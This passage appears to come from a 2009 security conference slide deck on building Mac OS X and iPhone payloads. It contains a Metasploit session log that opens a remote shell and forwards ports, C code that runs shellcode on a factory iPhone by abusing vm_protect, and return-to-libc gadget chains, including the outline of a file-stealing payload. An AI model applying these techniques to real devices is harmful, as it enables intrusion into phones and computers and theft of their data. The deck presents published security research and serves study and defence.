  • 63. Limitations Since it is binary compatible with Windows Meterpreter client, some data is lost i.e. “ls” doesn’t return as much as it could Can’t migrate to other processes Processes typically don’t have permission to inject code into other processes...Mac OS X is actually more secure here! Some things in the stdapi are unimplemented, either because I got lazy or didn’t know how to do it Messing with the routing table, user idle time Feel free to add to this or make new extensions Its C code, not Ruby :)
  • 64. Demo
  • 65. $ ./msfcli exploit/osx/test/exploit RHOST=192.168.1.182 RPORT=1234 LPORT=4444 PAYLOAD=osx/ x86/meterpreter/bind_tcp E [*] Started bind handler [*] Sending stage (387 bytes) [*] Sleeping before handling stage... [*] Uploading Mach-O bundle (50620 bytes)... [*] Upload completed. [*] Meterpreter session 1 opened (192.168.1.231:37335 -> 192.168.1.182:4444) meterpreter > use stdapi Loading extension stdapi...success. meterpreter > pwd /Users/cmiller/metasploit/trunk meterpreter > ls Listing: /Users/cmiller/metasploit/trunk ======================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40755/rwxr-xr-x 816 dir Tue Feb 24 14:48:24 CST 2009 . 40755/rwxr-xr-x 102 dir Wed Feb 18 22:28:25 CST 2009 .. 100644/rw-r--r-- 2705 fil Sun Nov 30 16:00:11 CST 2008 README meterpreter > getuid Server username: cmiller meterpreter > sysinfo Computer: Charlie-Millers-Computer.local OS : ProductBuildVersion: 9G55, ProductCopyright: 1983-2008 Apple Inc., ProductName: Mac OS X, ProductUserVisibleVersion: 10.5.6, ProductVersion: 10.5.6 meterpreter > execute -i -c -f /bin/sh Process created. Channel 1 created. id uid=501(cmiller) gid=501(cmiller) groups=501(cmiller),98(_lpadmin),81(_appserveradm), 79(_appserverusr),80(admin) exit meterpreter > portfwd add -l 2222 -p 22 -r 192.168.1.182 [*] Local TCP relay created: 0.0.0.0:2222 <-> 192.168.1.182:22 meterpreter > exit
  • 66. Meterpreter has userland-exec Prepare binary in advance Can use “builder”, just save off result Meterpreter (extension) forks, uses userland-exec Supports channelized input/output Demo
  • 68. “ASLR” Mac OS X Randomizes library locations (except dyld) Doesn’t randomize heap, stack, executable image iPhone Doesn’t randomize anything Addresses only rely on firmware version
  • 69. NX bit x86: NX bit (Intel calls it XD) Only set on stack No restrictions on heap Heap may have (and does have) RWX pages
  • 70. XN bit For ARM Stack and heap are protected No heap pages may be RWX Non-signed pages that are ever writable can never become executable (Factory iPhone only)* Difficult (impossible?) to inject code and run it* * except in one case to be discussed
  • 71. Code signing All binaries and libraries must be signed by Apple OS X and iPhone share the same code for code signing, even if on OS X the policy is not enforced (yet) By using the last version of BinDiff we were able to verify that OS X kernel and iPhone kernel share a similarity of 0.65 and 0.74 on the code signing code
  • 72. One of the code signing functions inside the kernel
  • 73. Some facts about code signing On execve() the kernel searches for a segment LC_CODE_SIGNATURE which contains the signature If the signature is already present in the kernel it is validated using SHA-1 hashes and offsets If the signature is not found it is validated and allocated, SHA-1 hashes are checked too Hashes are calculated on the whole page, so we cannot write malicious code in the slack space
  • 74. What’s the effect of code signing? When a page is signed the kernel adds a flag to that page /* mark this vnode's VM object as having "signed pages" */ kr = memory_object_signed(uip->ui_control, TRUE);
  • 75. What if a page is not signed? We can still map a page (following XN policy) with RX permissions Whenever we try to access that page a SIGBUS is raised If we try to change permissions of a page to enable execution (using mprotect or vm_protect), the call fails*
  • 76. How about libraries? No chance of loading libraries from memory due to these memory restrictions When a library is loaded the signature for the library is checked using a peculiar fcntl() with a cmd F_ADDSIGS and the signature If the signature is found, the “signed bit” is set on the page, otherwise a SIGBUS is raised
  • 78. History of iPhone research Version 1: Heap was RWX, easy to run shellcode Version 2: No RWX pages Thought: You could do RW -> RX (can on jailbroken) Testing this talk, I see that this isn’t true on factory phone CSW talks assumed jailbroken phone Thought: You can’t execute shellcode Can execute shellcode (discovered 2 days ago)!
  • 79. return-to-mprotect doesn’t work memcpy(0x2ffff000, shellcode3, sizeof(shellcode3)); if(mprotect(0x2ffff000,0x1000, PROT_EXEC | PROT_READ)){ perror("mprotect"); } void (*f)(); f = 0x2ffff000; f(); mprotect: Permission denied Program received signal: “EXC_BAD_ACCESS”. (gdb) bt #0 0x2ffff000 in ?? ()
  • 80. Can’t get RX on heap char *s = malloc(1024); printf("s at %xn", s); void (*f)(); unsigned int addy = s; unsigned int ssize = 1024; kern_return_t r ; r = vm_protect( mach_task_self(), (vm_address_t) addy, ssize, FALSE, VM_PROT_READ |VM_PROT_EXECUTE); if(r==KERN_PROTECTION_FAILURE){ printf("too muchn"); } f = s; f(); s at 81d400 too much Program received signal: “EXC_BAD_ACCESS”. (gdb) bt #0 0x0081d400 in ?? ()
  • 81. What about changing already executable code? void (*f)(); unsigned int addy = 0x2128; unsigned int ssize = 0x10; kern_return_t r = vm_protect( mach_task_self(), (vm_address_t) addy, ssize, FALSE, VM_PROT_READ |VM_PROT_WRITE); if(r==KERN_PROTECTION_FAILURE){ printf("too muchn"); } f = addy; memcpy(addy, shellcode3, 8); f(); too much Program received signal: “EXC_BAD_ACCESS”. (gdb) x/i $pc 0x314782f0 <memmove+604>: strbne r3, [r0], #1 (gdb) print /x $r0 $1 = 0x2128
  • 82. What about re-writing shared code segments? void (*f)(); unsigned int addy = 0x31414530; // getchar() unsigned int ssize = sizeof(shellcode3); kern_return_t r ; r = vm_protect( mach_task_self(), (vm_address_t) addy, ssize, FALSE, VM_PROT_READ |VM_PROT_WRITE | VM_PROT_COPY); if(r==KERN_SUCCESS){ printf("vm_protect is cooln"); } memcpy((unsigned int *) addy, shellcode3, sizeof(shellcode3)); f = (void (*)()) addy; f(); printf("HERE I AMn"); foo: *( (unsigned int *) 0) = 0xdeadbeef; mov r0, #1 mov r1, #2 mov r3, #3 mov r4, #4 mov r5, #5 mov r6, #6 b foo
  • 83. Opps, code execution! vm_protect is cool ^C <----- infinite loop (gdb) bt #0 0x31414530 in getchar () ... (gdb) i r r0 0x1 1 r1 0x2 2 r2 0x0 0 r3 0x3 3 r4 0x4 4 r5 0x5 5 r6 0x6 6
  • 84. So..... Can get shellcode running on a Factory iPhone (2.2.1) Need to return-to-libc mach_task_self() vm_protect() memcpy() jump to shellcode
  • 85. Sandboxing Applications downloaded from the AppStore (or installed with Xcode) run in a sandbox Sandbox limits what applications can do Uses same mechanism as Mac OS X (Seatbelt kext) See /usr/share/sandbox/SandboxTemplate.sb
  • 86. Excerpts from sandbox configuration (deny file-write-mount file-write-umount) ; System is read only (allow file-read*) (deny file-write*) ; NOTE: Later rules override earlier rules. ; Private areas (deny file-write* (regex "^/private/var/mobile/Applications/.*$")) (deny file-read* (regex "^/private/var/mobile/Applications/.*$")) … ; Permit reading and writing in the App container (allow file-read* (regex "^/private/var/mobile/Applications/XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX(/|$)")) (allow file-write* (regex "^/private/var/mobile/Applications/XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX/(tmp|Library| Documents)(/|$)")) (allow process-exec (regex #"^/private/var/mobile/Applications/XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX/.*.app(/| $)")) … (deny process-fork) … (allow network*)
  • 87. Outside the sandbox ● Apple installed apps like Safari, Mail, SMS are not in the same sandbox ● They are in a (less restrictive) sandbox
  • 88. MobileSafari sandbox fun (gdb) print (FILE *) fopen("/private/var/mobile/Library/SMS/sms.db", "rb") $1 = (FILE *) 0x39435ff4 (gdb) print (int) fork() $2 = -1 #dmesg ... launchd[752] Builtin profile: MobileSafari (seatbelt) ... MobileSafari 752 PARENTAGE_FORK DENY 1 (seatbelt)
  • 89. Jailbroken vs Factory iPhones Jailbroken phones disable code signing Allows for running shell, gdb, sshd, python, etc Disabling code signing also disables some memory protections ... signed bit is ignored “return to mprotect” technique does work on jailbroken phones Any iphone talk (before today) that discusses this or other “shellcode” tacitly assumes phone is jailbroken
  • 90. One jailbreak patch (vm_map) #if CONFIG_EMBEDDED if (cur_protection & VM_PROT_WRITE) { if (cur_protection & VM_PROT_EXECUTE) { printf("EMBEDDED: %s curprot cannot be write+execute. turning off executen", __PRETTY_FUNCTION__); cur_protection &= ~VM_PROT_EXECUTE; } } if (max_protection & VM_PROT_WRITE) { if (max_protection & VM_PROT_EXECUTE) { /* Right now all kinds of data segments are RWX. No point in logging that. */ /* printf("EMBEDDED: %s maxprot cannot be write+execute. turning off executen", __PRETTY_FUNCTION__); */ /* Try to take a hint from curprot. If curprot is not writable, * make maxprot not writable. Otherwise make it not executable. */ if((cur_protection & VM_PROT_WRITE) == 0) { max_protection &= ~VM_PROT_WRITE; } else { max_protection &= ~VM_PROT_EXECUTE; <------ NOP’d by jailbreak } } } assert ((cur_protection | max_protection) == max_protection); #endif /* CONFIG_EMBEDDED */
  • 91. Research on Factory phones sucks ...unless you have a 0-day in MobileSafari Must install apps using iPhone SDK Run in restrictive sandbox Need your $99 developer license gdb not full featured
  • 92. Jailbroken iPhone payloads Jailbroken phones can use standard OS X ARM shellcode Can assume there is a /bin/sh! No NSCreateObjectFileImageFromMemory or NSLinkModule present Can use dlopen from disk Can create complex dylibs and load them with this GPS Listening device
  • 93. Userland-exec for iPhone? Yes, for Jailbroken ....maybe for factory Needed to make following simple changes The (fixed) location of dyld had to be changed from 0x8fe00000 to 0x2fe00000 vm_protect calls requesting RWX pages had to be changed to request RW then RX Embedded loader assembly had to be ported from x86 to ARM
  • 94. Demo
  • 96. How to run code? Can’t write and execute code from unsigned pages Can’t write to file and exec/dlopen Nothing is randomized Can use return-to-libc
  • 97. ARM basics 16 32-bit registers, r0-r15 r13 = sp, stack pointer r14 = lr, link register - stores return address r15 = pc, program counter RISC - few instructions, mostly uniform length Placing a dword in a register usually requires more than 1 instruction Can switch to Thumb mode (2 or 4 byte instructions)
  • 98. System calls swi 128 instruction syscall number in r12 see /usr/include/syscall.h (same as desktop) exit(0) mov r12, #1 mov r0, #0 swi 128
  • 99. Function calls Instead of {jmp, call} you get {b, bl, bx, blx} b (branch) changes execution to offset from pc specified bl does same but sets lr to next instruction (ret address) • In particular, ret addy not on stack bx/blx similar except address is absolute pc is a general purpose register, i.e. mov pc, r1 works First 4 arguments passed in r0-r3, rest on the stack
  • 102. Return-to-libc, x86 Reuse executable code already in process Layout data near ESP such that arguments and return addresses are used from user supplied data This is a pain.... Typically, quickly try to call system() or a function to disable DEP (or mprotect)
  • 103. ARM issues Function arguments passed in registers, not on stack Must always find code to load stack values into registers Can’t “create” instructions by jumping to middle of existing instructions (unlike x86) Return address not always stored on stack
  • 104. Vibrating payload The second ever iPhone payload - v 1.0.0 Replicate what happens when a text message is received: vibrate and beep We want to have the following code executed AudioServicesPlaySystemSound(0x3ea); exit(0);
  • 105. Set LR and PC shellcode[0] =0x11112222; shellcode[1] =0x33334444; shellcode[2] =0x55556666; // Set LR and PC shellcode[3] =0x314d83d8; // PC 0x314d83d8: ldmia sp!, {r7, lr} 0x314d83dc: add sp, sp, #16 ; 0x10 0x314d83e0: bx lr
  • 106. Set R0-R3 shellcode[5] =0x314e4bec; // LR / PC 0x314e4bec: ldmia sp!, {r0, r1, r2, r3, pc}
  • 107. Call AudioServicePlaySystemSound shellcode[10]=0x000003ea; // r0 shellcode[11]=0x00112233; // r1 shellcode[12]=0xddddeeee; // r2 shellcode[13]=0xffff0000; // r3 shellcode[14]=0x34945564; // PC // LR hasn’t changed // is still 0x314e4bec 0x314e4bec: ldmia sp!, {r0, r1, r2, r3, pc}
  • 108. Call _exit shellcode[15] =0x11112222; // r0 shellcode[16] =0x33324444; // r1 shellcode[17] =0x55536666; // r2 shellcode[18] =0xddd4eeee; // r3 shellcode[19] =0x31463018; // PC
  • 109. Demo!
  • 110. Return-to-libc for heap overflows? Yes, more difficult Must set sp to point to user controlled data
  • 111. File stealing payload The original iPhone shellcode! See paper for full payload (around 80 dwords) Need to keep track of return values (descriptors) A couple of tricks to do this
  • 112. Return values are hard(er) If we use what we did before, upon return R0 is overwritten :( 0x314e4bec: ldmia sp!, {r0, r1, r2, r3, pc}
  • 113. Instead Look for code that calls open and then returns LR will be set to 0x3141b2b5 by blx instruction Pop’s PC off the stack and retains the value of R0 0x3141b2b1 <creat+9>: blx 0x3141d544 <open> 0x3141b2b5 <creat+13>: pop {r7, pc}
  • 115. Details Loads r1, r2 from high registers Calls read (and sets LR to right after read) If R0 >= 0, it pops R2, R4-R7, PC off the stack Doesn’t destroy R0 This is a great place to have LR set to for socket, connect, write
  • 116. One final detail Can save the value of R0 to the spot on the stack where it is expected 0x3066dc6b; // pc str r0, [r6, r3], pop {r4-r7,pc}
  • 117. Demo!
  • 118. Conclusions Until now, Mac OS X has had few payload options Now there is userland-exec and Macterpreter Jailbroken phones can use return-to-mprotect Factory iPhones are hard to write payloads for but its possible! You can do it purely with return-to-libc, but you don’t have to

Hinweis der Redaktion

  1. 15minuti
  2. 30minuti